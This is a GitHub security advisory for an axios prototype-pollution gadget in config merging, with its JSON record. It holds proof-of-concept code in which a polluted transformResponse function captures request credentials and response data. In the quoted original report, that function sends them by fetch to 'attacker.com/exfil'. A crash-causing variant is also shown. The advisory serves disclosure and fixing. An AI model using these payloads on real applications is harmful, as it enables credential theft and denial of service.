Search criteria
Related vulnerabilities
GHSA-3G43-6GMG-66JW
Vulnerability from github – Published: 2026-05-29 16:07 – Updated: 2026-05-29 16:07
VLAI
Summary
axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge
Details
Summary
Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.
Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
Impact
For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.
If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.
This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.
Affected Functionality
The affected functionality is Axios request config processing and response transformation.
Affected use requires all of the following:
- An affected Axios version.
- A polluted Object.prototype in the same process or browser context.
- Pollution before Axios merges or validates the request config.
- A polluted key relevant to Axios config, especially transformResponse.
This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.
Technical Details
In affected versions, mergeConfig() reads config values through normal property access. For config keys present in Axios defaults, including transformResponse, a missing own property on the request config can fall through to Object.prototype.
In the fully affected path, this means Object.prototype.transformResponse can replace Axios's default response transform. The selected transform is later executed by transformData() with the request config as this.
Some later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in validator.assertOptions(). In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.
Fixed versions use own-property checks and null-prototype config objects, so inherited Object.prototype values are not treated as Axios config or validator schema entries.
Proof of Concept of Attack
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(`http://127.0.0.1:${port}/users`, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
Expected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.
Expected result on fixed versions: the polluted transform is ignored, and the original response is returned.
Original source report ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests. The `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers. **Severity:** High (CVSS 8.2) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution) ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') ## CVSS 3.1 **Score: 9.4 (High)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Credential theft occurs within the same application process | | Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated | | Integrity | Low | Response data is replaced with `true` — attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) | | Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request | ### Relationship to GHSA-fvcv-3m26-pcqx This vulnerability is in the same class as GHSA-fvcv-3m26-pcqx ("Unrestricted Cloud Metadata Exfiltration via Header Injection Chain"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`'s prototype chain traversal. | Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability | |---|---|---| | Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft | | Fixed by 1.15.0 header sanitization? | Yes | **No — different code path** | | Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) | | Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS | ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge. The critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline. ## Proof of Concept ### 1. The Setup (Simulated Pollution) Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
Severity
7.0 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.19.0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44495"
],
"database_specific": {
"cwe_ids": [
"CWE-94",
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T16:07:31Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nAxios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted `Object.prototype.transformResponse`, affected Axios versions may treat that inherited value as request configuration or as an option validator.\n\nAxios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over `Object.prototype` before Axios creates a request.\n\n## Impact\nFor ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.\n\nIf the attacker can pollute `Object.prototype.transformResponse` with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and `auth`, and can change the response data returned to application code.\n\nThis function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.\n\n## Affected Functionality\nThe affected functionality is Axios request config processing and response transformation.\n\nAffected use requires all of the following:\n- An affected Axios version.\n- A polluted `Object.prototype` in the same process or browser context.\n- Pollution before Axios merges or validates the request config.\n- A polluted key relevant to Axios config, especially `transformResponse`.\n\nThis is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and any helper vulnerabilities.\n\n## Technical Details\nIn affected versions, `mergeConfig()` reads config values through normal property access. For config keys present in Axios defaults, including `transformResponse`, a missing own property on the request config can fall through to `Object.prototype`.\n\nIn the fully affected path, this means `Object.prototype.transformResponse` can replace Axios\u0027s default response transform. The selected transform is later executed by `transformData()` with the request config as `this`.\n\nSome later affected v1 releases guarded the merge path but still used inherited properties while looking up validators in `validator.assertOptions()`. In that narrower case, a polluted function can still run during config validation and inspect the config argument, but it does not replace the response transform.\n\nFixed versions use own-property checks and null-prototype config objects, so inherited `Object.prototype` values are not treated as Axios config or validator schema entries.\n\n## Proof of Concept of Attack\n```js\nimport http from \u0027http\u0027;\nimport axios from \u0027axios\u0027;\n\nconst seen = [];\n\nconst server = http.createServer((req, res) =\u003e {\n res.setHeader(\u0027Content-Type\u0027, \u0027application/json\u0027);\n res.end(JSON.stringify({ secret: \u0027response-secret\u0027 }));\n});\n\nawait new Promise(resolve =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nObject.prototype.transformResponse = function pollutedTransform(data, headers, status) {\n if (headers \u0026\u0026 typeof status === \u0027number\u0027) {\n seen.push({\n url: this.url,\n username: this.auth \u0026\u0026 this.auth.username,\n password: this.auth \u0026\u0026 this.auth.password,\n responseData: data\n });\n\n return { hijacked: true };\n }\n\n return true;\n};\n\ntry {\n const { port } = server.address();\n\n const response = await axios.get(`http://127.0.0.1:${port}/users`, {\n auth: { username: \u0027svc-account\u0027, password: \u0027prod-secret-key-123\u0027 }\n });\n\n console.log(response.data); // { hijacked: true }\n console.log(seen[0]); // request config plus original response body\n} finally {\n delete Object.prototype.transformResponse;\n\n server.close();\n}\n```\n\nExpected result on fully affected versions: the polluted transform runs, captures request config and response data, and replaces the response returned to the caller.\n\nExpected result on fixed versions: the polluted transform is ignored, and the original response is returned.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal source report\u003c/summary\u003e\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into **credential theft** and **response hijacking** across all Axios requests.\n\nThe `mergeConfig()` function reads config properties via standard property access (`config2[prop]`), which traverses the JavaScript prototype chain. When `Object.prototype.transformResponse` is polluted with a function, it **overrides the default JSON response parser** for every request. The injected function executes with `this = config`, exposing `auth.username`, `auth.password`, request URL, and all headers.\n\n**Severity:** High (CVSS 8.2)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/core/mergeConfig.js` (Config Merge) + `lib/core/transformData.js` (Transform Execution)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n\n## CVSS 3.1\n\n**Score: 9.4 (High)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, a single property assignment exploits axios. Consistent with GHSA-fvcv-3m26-pcqx scoring |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Credential theft occurs within the same application process |\n| Confidentiality | High | `this.auth.password`, `this.url`, original response data all exfiltrated |\n| Integrity | Low | Response data is replaced with `true` \u2014 attacker **cannot** return arbitrary data due to `assertOptions` constraint (see below) |\n| Availability | High | Polluting with an array value causes `TypeError: validator is not a function` crash (DoS) on every request |\n\n### Relationship to GHSA-fvcv-3m26-pcqx\n\nThis vulnerability is in the same class as GHSA-fvcv-3m26-pcqx (\"Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\"), which was also a PP gadget in axios rated Critical. Both require zero direct user input and exploit `mergeConfig`\u0027s prototype chain traversal.\n\n| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |\n|---|---|---|\n| Attack vector | PP \u2192 Header injection \u2192 Request smuggling | PP \u2192 Transform function override \u2192 Credential theft |\n| Fixed by 1.15.0 header sanitization? | Yes | **No \u2014 different code path** |\n| Affects | Requests using form-data package | **All requests** (transformResponse is in defaults) |\n| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |\n\n## Usage of \"Helper\" Vulnerabilities\n\nThis vulnerability requires **Zero Direct User Input**.\n\nIf an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), Axios will automatically pick up the polluted `transformResponse` property during its config merge.\n\nThe critical difference from GHSA-fvcv-3m26-pcqx: this vector was **NOT fixed** by the header sanitization patch in v1.15.0, because it does not use headers at all \u2014 it injects a function into the response processing pipeline.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\n\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n\n```javascript\nObject.prototype.transformResponse = function(data, headers, status) {\n // Steal credentials via this context (this = full request config)\n if (this \u0026\u0026 this.url \u0026\u0026 typeof data === \u0027string\u0027) {\n fetch(\u0027https://attacker.com/exfil\u0027, {\n method: \u0027POST\u0027,\n body: JSON.stringify({\n url: this.url,\n username: this.auth?.username,\n password: this.auth?.password,\n responseData: data,\n })\n });\n }\n return true; // MUST return true to pass assertOptions validator check\n};\n```\n\n**Important constraint:** The polluted value must be a **function returning `true`**, not an array. If an array is used, `assertOptions()` at `validator.js:89-92` crashes with `TypeError: validator is not a function` (which is still a DoS vector). The function must return `true` because `validator.js:93` checks `result !== true`.\n\n### 2. The Gadget Trigger (Safe Code)\n\nThe application makes a completely safe, hardcoded request:\n\n```javascript\n// This looks safe to the developer\nconst response = await axios.get(\u0027https://api.internal/users\u0027, {\n auth: { username: \u0027svc-account\u0027, password: \u0027prod-secret-key-123!\u0027 }\n});\n```\n\n### 3. The Execution\n\nAxios\u0027s `mergeConfig()` at `mergeConfig.js:99-103` iterates config keys:\n\n```javascript\nutils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {\n // \u0027transformResponse\u0027 is in config1 (defaults) \u2192 included in keys\n const merge = mergeMap[prop]; // \u2192 defaultToConfig2\n const configValue = merge(config1[prop], config2[prop], prop);\n // config2[\u0027transformResponse\u0027] traverses prototype \u2192 finds polluted function!\n});\n```\n\nThe polluted function then executes at `transformData.js:21`:\n\n```javascript\ndata = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n// fn = attacker\u0027s function, this = config (containing auth credentials)\n```\n\n### 4. The Impact\n\n```\nAttacker receives at https://attacker.com/exfil:\n\n{\n \"url\": \"https://api.internal/users\",\n \"username\": \"svc-account\",\n \"password\": \"prod-secret-key-123!\",\n \"responseData\": \"{\\\"users\\\":[{\\\"id\\\":1,\\\"role\\\":\\\"admin\\\"}]}\"\n}\n```\n\nThe response data seen by the application is `true` (the required return value), which will likely cause the application to malfunction but will not reveal the theft.\n\n### 5. DoS Variant\n\n```javascript\n// Array pollution crashes every request\nObject.prototype.transformResponse = [function(d) { return d; }];\n\nawait axios.get(\u0027https://any-url.com\u0027);\n// \u2192 TypeError: validator is not a function\n// Every request in the application crashes\n```\n\n## Verified PoC Output\n\n```\nStep 1 - Normal behavior (before pollution): \n Default transformResponse function name: \"transformResponse\"\n\nStep 2 - Polluting Object.prototype.transformResponse: \n Function replaced by attacker: true\n\nStep 3 - Simulating dispatchRequest transformResponse: \n Original server response: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"} \n After malicious transform: true \n Response tampered: true\n\nStep 4 - Exfiltrated data: \n Original response data: {\"secret_key\":\"sk-prod-a1b2c3d4\",\"internal_ip\":\"10.0.0.5\"} \n Request URL: https://internal-api.corp/secrets \n Authentication info: {\"username\":\"admin\",\"password\":\"P@ssw0rd123!\"}\n```\n\n## Impact Analysis\n\n- **Credential Theft:** `this.auth.username`, `this.auth.password`, `this.headers.Authorization`, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.\n- **Response Data Exfiltration:** The original server response (`data` parameter) is available to the injected function before being replaced.\n- **Universal Scope:** Affects **every** axios request in the application, including all third-party libraries that use axios.\n- **Denial of Service:** Polluting with a non-function value crashes every request.\n- **Bypass of 1.15.0 Fix:** The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.\n\n### Limitations (Honest Assessment)\n\n- Requires a separate prototype pollution vulnerability elsewhere in the dependency tree\n- Response data cannot be arbitrarily tampered \u2014 the function must return `true` to pass `assertOptions`\n- This is in-process JavaScript function execution, not OS-level RCE\n\n## Recommended Fix\n\nUse `hasOwnProperty` checks in `defaultToConfig2` to prevent prototype chain traversal:\n\n```javascript\n// In lib/core/mergeConfig.js\nfunction defaultToConfig2(a, b, prop) {\n if (Object.prototype.hasOwnProperty.call(config2, prop) \u0026\u0026 !utils.isUndefined(b)) {\n return getMergedValue(undefined, b);\n } else if (!utils.isUndefined(a)) {\n return getMergedValue(undefined, a);\n }\n}\n```\n\nAdditionally, validate that `transformResponse` contains only functions before execution:\n\n```javascript\n// In lib/core/transformData.js\nutils.forEach(fns, function transform(fn) {\n if (typeof fn !== \u0027function\u0027) {\n throw new AxiosError(\u0027Transform must be a function\u0027, AxiosError.ERR_BAD_OPTION);\n }\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n});\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n- [Snyk: Prototype Pollution](https://learn.snyk.io/lesson/prototype-pollution/)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-15 | Vulnerability discovered during source code audit |\n| 2026-04-15 | Initial PoC developed (array payload \u2014 crashes at validator.js) |\n| 2026-04-16 | PoC corrected (function payload returning true \u2014 works) |\n| 2026-04-16 | Report revised with accurate constraints |\n| TBD | Report submitted to vendor via GitHub Security Advisory |\n\u003c/details\u003e",
"id": "GHSA-3g43-6gmg-66jw",
"modified": "2026-05-29T16:07:31Z",
"published": "2026-05-29T16:07:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-3g43-6gmg-66jw"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge"
}